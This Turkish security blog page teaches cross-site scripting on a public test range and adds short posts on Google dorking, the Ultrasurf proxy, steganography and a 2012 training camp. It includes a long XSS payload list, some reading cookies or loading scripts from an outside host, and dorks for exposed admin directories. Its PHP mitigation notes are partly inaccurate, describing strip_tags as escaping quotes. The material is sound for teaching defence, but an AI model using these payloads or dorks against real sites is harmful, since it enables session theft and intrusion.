XSS – Cross Site Scripting

Cross site scripting (XSS) HTML kodlarının arasına istemci tabanlı kod gömülmesi yoluyla kullanıcının tarayıcısında istenen istemci tabanlı kodun çalıştırılabilmesi olarak tanımlanır.

XSS’in temel mantığı siteler arası betik kod çalıştırmadır ve kullanıcı tarafından input kabul edilen yerlerde görülmektedir. Web uygulamalarında bulunan kullanıcı tarafından kabul edilen inputlar kontrol edilmeden direk koda dahil ediliyor ve kullanıcıya gösteriliyorsa, uygulama üzerinde Javascript koduda çalıştırılabilir. Eğer alınan input tag’ler ile kontrol edilmeye çalışılıyorsa basit HTML bilgisi ile o tag’leri devredışı bırakıp istenilen Javascript kodu çalıştırılabilir.

XSS anlatımını herkesin erişimine açık bulunan ve anlatım esnasında sizinde rahatça deneyip görebilmeniz için http://public-firing-range.appspot.com/ adresi üzerinden yapacağım. Bu websitesi XSS zafiyetlerini çeşitlerine göre ayırmıştır. Her XSS çeşitinin altında ise farklı parametreler üzerinde zafiyetin nerelerden kaynaklandığını görmemize yardımcı olmaktadır.

  1. Reflected XSS:

Alınan inputların uygulama üzerinde kaydedilmediği yerlerde görülür. Sadece o url’e sahip kişiler tarafından görülebilir/kullanılabilir/erişilebilir.  Web uygulamalarının arama alanları reflected xss’in en çok görüldüğü yerlerdir.

Örneğin: Ceh.com.tr üzerinde bir arama yapmak istediğim zaman arama yerine istediğim kelimeleri yazıp ara butonuna bastıktan sonra site aşağıdaki gibi bir url oluşturacaktır.Bu aradığımız kelimeler sistem üzerinde kaydedilmediği için bizden sonra gelen kullanıcılar sizin armaış olduğunuz şeyleri göremeyecektir. Bu yüzden bu XSS çeşitinin adı reflected (yansıyan) xss’dir.

http://www.ceh.com.tr/?s=burada+xss+var+mi?

Masumca yapmış olduğumuz yukarıdaki aramamız bize şu göstermektedir. Bizim search alanına yazmış olduğumuz kelimeler s parametresi üzerinde uygulama üzerinde çalışıyor. Yani siz aslında s parametresine birşeyler atıyorsunuz. Demo ortamımızda Javascript kodlarımızı uygulamanın parametre kabul ettiği yere yazalım ve enter’a basalım.

http://public-firing-range.appspot.com/reflected/parameter/body?q=ceh.com.tr

Screen Shot 2016-01-10 at 22.04.30

 

 

 

Görmüş olduğunuz gibi uygulama url üzerinde q parametresine input almaktadır. Kaynak koduna baktığımızda ise hiçbir önlem alınmadan alınan inputun direk koda eklendiğini görmekteyiz.

Screen Shot 2016-01-10 at 22.04.45

 

 

 

 

Şimdi q parametresine ceh.com.tr yerine birkaç javascript kodu verelim.

Screen Shot 2016-01-10 at 22.08.53

Görmüş olduğunuz gibi javascript kodumuz direk site üzerinde çalıştı. Çalıştırmış olduğumuz sadece içerisinde CEH.com.tr yazılı basit bir uyarı penceresi. <script>alert(“CEH.com.tr”)</script> Verilen input sonrası uygulamanın kaynak kodu aşağıdaki gibi görünmektedir.

Screen Shot 2016-01-10 at 22.09.08

Aklınıza gelen başka Javascript kodlarınıda parametre olarak verebilirsiniz. Aşağıda da bazı javascript kodlarını paylaşıyor olacağım.

Reflected XSS bazen yukarıdaki kadar kolay ulaşılamayabilir. Yukarıda da bahsetmiş olduğum gibi parametre ile alınan değer tag’ler içersinde yazılıyor olabilir. Buda Javascript kodlarının normal text olarak algılanması demektir yani Javascript kodları uygulama üzerinde çalışmayacaktır.

Screen Shot 2016-01-10 at 22.18.23

Kaynak kodu

Screen Shot 2016-01-10 at 22.19.21

Yukarıda görüldüğü gibi q parametresi ile alınan input <title> </title> tag’leri arasına yazılmaktadır. Burada bir trick yaparak parametreye bu tag’in kapanış tag’ini vereceğiz devamında da javascript kodumuzu yazacağız. Uygulamanın kaynak kodu aşağıdaki gibi olacaktır.

http://public-firing-range.appspot.com/reflected/parameter/title?q=</title> <script>alert(“CEH.com.tr”)</script>

Screen Shot 2016-01-10 at 22.28.05

Kaynak kod

Screen Shot 2016-01-10 at 22.28.17

Eğer <title> tag’ini kapatmadan input olarak Javascript kodumuzu vermiş olsaydık uygulama üzerinde kodumuz çalışmayacak ve kaynak kodumuz aşağıdaki gibi olacaktı.

Screen Shot 2016-01-10 at 22.30.54

     2. Stored XSS:
Stored XSS zafiyeti Reflected XSS’e göre daha tehlikeli saldırı yöntemlerinden biridir.Kullanıcılardan alınan inputların uygulama database’ine kaydedildiği alanlarda bulunmaktadır. Örneğin, ziyaretçi defteri tarzındaki bir uygulamada yazılanlar database’e kaydedilmektedir ve gelen her kullanıcı bu yazıları görebilmektedir. Bu alana tag’leri bypass ederek yazılan zararlı javascript kodlarıyla o sayfayı ziyaret eden tüm kullanıcılara bulaştırmış olunacaktır.

    3. DOM-Based XSS Saldırısı:
DOM-Based XSS saldırısı tespit edilmesi en zor aynı zamanda bıraktığı etki açısından en tehlikeli XSS saldırı türüdür. JavaScript kodlarının zararlı bir şekilde kullanılması ile yapılır. Bu saldırı türünde kullanılan DOM nesneleri ile hedef web sitesinin index’i değiştirilebilir, sayfanın kodları değiştirilebilir, zararlı yazılımlar sayfaya yüklenebilir.

Dom-Based XSS için geniş anlatım daha sonra yapılacaktır.

XSS için çokça kullanılan Javascript kodları

script>alert(‘XSS’)</script>
‘><script>alert(‘XSS’)</script>
“><script>alert(‘XSS’)</script>
“><script>alert(‘XSS’)</script>
javascript;alert(‘XSS’)
<title>XSS</title>
“><script>alert(‘xss’);</script>+
“><script>alert(‘X’);</script>”><script>alert(‘X’);</script> == X
“>’<’script’>alert(’xss’)</’script>
‘><script>alert(document.cookie)</script>
=’><script>alert(document.cookie)</script>
<script>alert(document.cookie)</script>
<script>alert(XSS)</script>
%3Cscript%3Ealert(‘XSS’)%3C/script%3E
<s&#99;ript>alert(‘XSS’)</script>
<img src=”/javas&#99;ript:alert(‘XSS’)”>
%0a%0a<script>alert(\”XSS\”)</script>.jsp
%22%3cscript%3ealert(%22xss%22)%3c/script%3e
%3c/a%3e%3cscript%3ealert(%22xss%22)%3c/script%3e
%3c/title%3e%3cscript%3ealert(%22xss%22)%3c/script%3e
%3cscript%3ealert(%22xss%22)%3c/script%3e/index.html
&lt;script&gt;alert(‘XSS’);&lt;/script&gt
<script>alert(‘XSS’)</script>
a.jsp/<script>alert(‘XSS’)</script>
a?<script>alert(‘XSS’)</script>
“><script>alert(‘XSS’)</script>
%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
%3Cscript%3Ealert(document.domain);%3C/script%3E&
%3Cscript%3Ealert(document.domain);%3C/script%3E&SESSION_ID={SESSION_ID}&SESSION_ID=
”;!–“<XSS>=&{()}
<IMG SRC=”javascript:alert(‘XSS’);”>
<IMG SRC=javascript:alert(‘XSS’)>
<IMG SRC=JaVaScRiPt:alert(‘XSS’)>
<IMG SRC=JaVaScRiPt:alert(&quot;XSS&quot;)>
<IMG SRC=”jav&#x09;ascript:alert(‘XSS’);”>
<IMG SRC=”jav&#x0A;ascript:alert(‘XSS’);”>
<IMG SRC=”jav&#x0D;ascript:alert(‘XSS’);”>
“<IMG SRC=java\0script:alert(\”XSS\”)>”;’ > out
<IMG SRC=” javascript:alert(‘XSS’);”>
<SCRIPT>a=/XSS/alert(a.source)</SCRIPT>
<BODY BACKGROUND=”javascript:alert(‘XSS’)”>
<BODY ONLOAD=alert(‘XSS’)>
<IMG DYNSRC=”javascript:alert(‘XSS’)”>
<IMG LOWSRC=”javascript:alert(‘XSS’)”>
<BGSOUND SRC=”javascript:alert(‘XSS’);”>
<br size=”&{alert(‘XSS’)}”>
<LAYER SRC=”http://xss.ha.ckers.org/a.js”></layer>
<LINK REL=”stylesheet” HREF=”javascript:alert(‘XSS’);”>
<IMG SRC=’vbscript:msgbox(“XSS”)’>
<IMG SRC=”mocha:[code]”>
<IMG SRC=”livescript:[code]”>
<META HTTP-EQUIV=”refresh” CONTENT=”0;url=javascript:alert(‘XSS’);”>
<IFRAME SRC=javascript:alert(‘XSS’)></IFRAME>
<FRAMESET><FRAME SRC=javascript:alert(‘XSS’)></FRAME></FRAMESET>
<TABLE BACKGROUND=”javascript:alert(‘XSS’)”>
<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>
<DIV STYLE=”behaviour: url(‘/xss’);”>
<DIV STYLE=”width: expression(alert(‘XSS’));”>
<STYLE>@im\port’\ja\vasc\ript:alert(“XSS”)’;</STYLE>
<IMG STYLE=’xss:expre\ssion(alert(“XSS”))’>
<STYLE TYPE=”text/javascript”>alert(‘XSS’);</STYLE>
<STYLE TYPE=”text/css”>.XSS{background-image:url(“javascript:alert(‘XSS’)”);}</STYLE><A CLASS=XSS></A>
<BASE HREF=”javascript:alert(‘XSS’);//”>
getURL(“javascript:alert(‘XSS’)”)
“> <BODY ONLOAD=”a();”><SCRIPT>function a(){alert(‘XSS’);}</SCRIPT><”
<SCRIPT SRC=”http://xss.ha.ckers.org/xss.jpg”></SCRIPT>
<IMG SRC=”javascript:alert(‘XSS’)

 

XSS Saldırı Mantığı:

  • Web uygulaması üzerinde bulunan XSS zafiyeti kullanılarak, siteyi ziyaret eden veya oluşturduğumuz sniffer’ı göndermiş olduğumuz hedef kullanıcıların oturum bilgileri çalınabilir. (Cookie Hijacking Saldırısı)
  • Javascript kodları sayesinde ziyaretçi kandırılarak bilgisayarına zararlı yazılım indirtilebilir. Böylece ziyaretçilerin kimlik bilgileri, şifreleri çalınabilir. Ziyaretçinin bilgisayarı botnete ağına bağlanarak zombie bilgisayar haline getirilebilir.
  • Sitenin anasayfası değiştirilebilir. Site defaced edilebilir. (DOM Based XSS yöntemi ile)
  • Sunucuya zararlı dosyalar (Shell, Backdoor gibi) yüklenebilir, kredi kartı, kişisel bilgiler v.s gibi bilgiler elde edilebilir (DOM Based XSS ile)

Peki hangi önlemler Alabiliriz?

İlk başta alınacak önlem kullanıcıdan alınan inputlarda ve URL satırında ` % ‘ ; / ? : @ = & <> \ ^~ [ ] { } “ # | karakterlerini filtreleyin. Bunun haricinde aşağıdaki yöntemleride güvenli kod yazımı olarak değerlendirip XSS zafiyetine yakalanmaktan kurtulmanızı sağlayacaktır.

Kullanacağınız Fonksiyonlar,
# htmlspecialchars();

* ’&’ (ve imi) ’&amp;’ haline gelir.
* ’”’ (çift tırnak) ENT_NOQUOTES belirtilmişse ’&quot;’ haline gelir.
* ’’’ (tek tırnak) ENT_QUOTES belirtilmişse ’’’ haline gelir.
* ’<’ (küçüktür) ’&lt;’ haline gelir
* ’>’ (büyüktür) ’&gt;’ haline gelir

# strip_tags();
” karakterinin başına \\\\ getirerek XSS’i önler, fonksiyon kullanımı

$aranan = htmlspecialchars($_GET[’go’]);
$aranan = strip_tags($aranan);
echo “aranan kelime > “.$aranan.””;

Kaynaklar:

https://www.owasp.org/index.php/XSS

https://www.owasp.org/index.php/DOM_Based_XSS

http://public-firing-range.appspot.com

http://excess-xss.com/

https://xss-game.appspot.com/

Proxy arkasında güvenli gezinti (ultrasurf)

ultrasurf-04-700x513

Bazı durumlarda iz bırakmadan testler / denemeler yapmak isteyebilirsiniz. Sizin sistemlerinizede bu şekilde erişim sağlanabileceğini unutmayınız. Küçük bir programdan bahsedeceğim size ama işlevi büyük bir program, ultrasurf. Bu programı ultrasurf.us sitesinden ücretsiz edinebilirsiniz.

 

Google hacking Dersi + Md5 Şifreleme + Uygulama Güvenligi +Kayıp 1gün:)

Okuma konusunda tembel bir toplum olduğumuzdan dolayı ve konu bence çok önem arzettiği için google hacking hakkında varolan dökümanları okumayacağınızı düşündüğümden video örnekler hazırlıyorum arar ara.

Bugün bir video ile başladı yolculuğum. Amacım konulara merakı olan arkadaşlara ve nasıl güvende olmadığımızın farkındalığına varmaları için internet kullanıcılarına fayda sağlamaktı.

Bilişim sektöründe çözümler üreten firmalardan 1 tanesini örnek alarak biraz araştırma yapmaya başladım. (Yola çıktığım arama: intitle:index.of inurl:“/admin/”) Onlarca web projesine imza atmış bu firmanın muhtemelen farkında olmadığı ciddi bir web uygulama açığı tespit ettim. Sabahın il saatlerinden şuan 17.45 e kadar yaklaşık 50 müşteri sisteminde aynı hatayı tekrarladıklarını gördüm. Sıkıldığım ve üzüldüğüm için daha fazla örnek üzerine gitmedim.

Okumaya devam et “Google hacking Dersi + Md5 Şifreleme + Uygulama Güvenligi +Kayıp 1gün:)”

Google Hacking “intitle” Ders 2

Selamlar bu derste sunucular üzerinde indeksleneceği düşünülmeyen açık dizinler içeririnde bir gezintiye çıkacağız. intitle: index.of  / ws_ftp.log şeklinde geliştirilerek kullanılabilir

Videodaki örnekte “intitle:index.of site:com.tr” firmaların sitelerindeki açık dizinler hedeflendi. Örneğin bir firmanın sitesindeki CMS sisteminin yönetim sayfasını bulmak  için şu şejildede bir ekleme yapılabilirdi: intitle:index.of inurl:“/admin/”

Steganografi nedir?

Grekçe’de, steganografi’nin kelime anlamı incelendiğinde, stegano ya da steganos gizli/saklı; grafi ise çizim ya da yazım anlamına gelmektedir. Steganografi tekniğinde, bilgiyi saklamak için genellikle BMP, JPG, GIF, MP3, EXE, DLL, .DOC gibi formatlar kullanılmaktadır.
Steganografi, bilginin bilgi içinde saklanmasıdır. Steganografi’nin çalışma mantığında, gizli bir mesajın, çeşitli yöntem ve tekniklerle açık bir mesajın içerisine gizlenmesi vardır. Steganografinin, günümüzde, her zamankinden fazla terör amaçlı kullanılabileceği göz ardı edilmemeli ve bu konuda izleme ve değerlendirme yapmak amacıyla, merkezler kurularak çalışmalar yapılmalıdır.

Siber Güvenlik Yaz Kampı 2012

Konaklamalı olarak düzenlenecek olan bu kampta, gün içinde teori ve uygulamalı dersler, akşamları ise eğitim içinde yer alan konuları içeren CTF (Capture The Flag) yarışmaları düzenlenecek. Amacımız gerçek dünyada olanları hem teoriye hem de pratiğe taşımak.

Kamp süresince bilişim sistemleri güvenliği konusunda teknik eğitimler verilecektir. Teknik eğitimlerin yanı sıra, kamp katılımcıları bilgi güvenliği alanında deneyim sahibi akademisyenler, kamu ve özel sektör yöneticileri ile bir araya getirilecektir. Kamp sırasında,öğrencilerimiz, siber dünyadaki tehditler, alınması gereken önlemler ve bu alandaki kariyer fırsatları konusunda bilgi sahibi olacaklardır.

Okumaya devam et “Siber Güvenlik Yaz Kampı 2012”